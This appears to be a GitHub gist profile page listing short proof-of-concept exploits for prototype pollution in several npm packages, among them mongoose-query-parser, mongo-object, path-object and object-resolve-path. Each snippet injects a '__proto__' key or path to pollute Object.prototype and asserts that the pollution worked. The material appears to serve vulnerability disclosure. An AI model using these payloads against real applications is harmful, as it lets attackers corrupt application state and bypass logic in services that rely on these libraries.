Skip to content

Instantly share code, notes, and snippets.

View cstimkong's full-sized avatar

Dezhen Kong cstimkong

View GitHub Profile
@cstimkong
cstimkong / PoC of mongoose-query-parser
Created November 3, 2025 11:57
PoC of mongoose-query-parser
A PoC exploit:
```
const {MongooseQueryParser} = require('mongoose-query-parser');
let parser = new MongooseQueryParser();
parser.parse('__proto__!%3Dpolluted=', {});
// or parser.parse({'__proto__!=polluted': undefined}, {});
console.log(({}).$ne); // output: polluted
```
@cstimkong
cstimkong / PoC of ember-cli-lodash-subset
Created November 2, 2025 13:57
PoC of ember-cli-lodash-subset
require('ember-cli-lodash-subset').merge({}, {['__proto__']: {polluted: 'yes'}});
@cstimkong
cstimkong / mongo-object-poc
Created November 2, 2025 11:41
Prototype Pollution PoC of mongo-object
var mo = require('mongo-object');
assert(({}).polluted === undefined);
mo.expandKey('yes', '__proto__[polluted]', {});
assert(({}).polluted === 'yes');
@cstimkong
cstimkong / path-object-poc
Last active November 2, 2025 11:41
PoC of path-object
Proof of Concept exploit:
```
var Path = require('path-object')();
assert(({}).polluted === undefined);
Path().set('__proto__/__proto__/polluted', 'yes');
assert(({}).polluted === 'yes')
```
@cstimkong
cstimkong / gist:d35d826a839fb3433d6d45aef33bc1d9
Last active November 2, 2025 10:29
Prototype Pollution Vulnerability of object-resolve-path
This vulnerability exists in `path.js` file of the package `object-resolve-path`.
Here is the PoC for the vulnerability.
```
var Path = require('object-resolve-path/path');
assert(({}).polluted === undefined);
Path.get(['__proto__', 'polluted']).setValueFrom({}, 'yes');
var path = require('dot-path-value');
assert(({}).polluted === undefined);
path.setByPath({}, '__proto__.polluted', 'yes'); // malicious code
assert(({}).polluted === 'yes');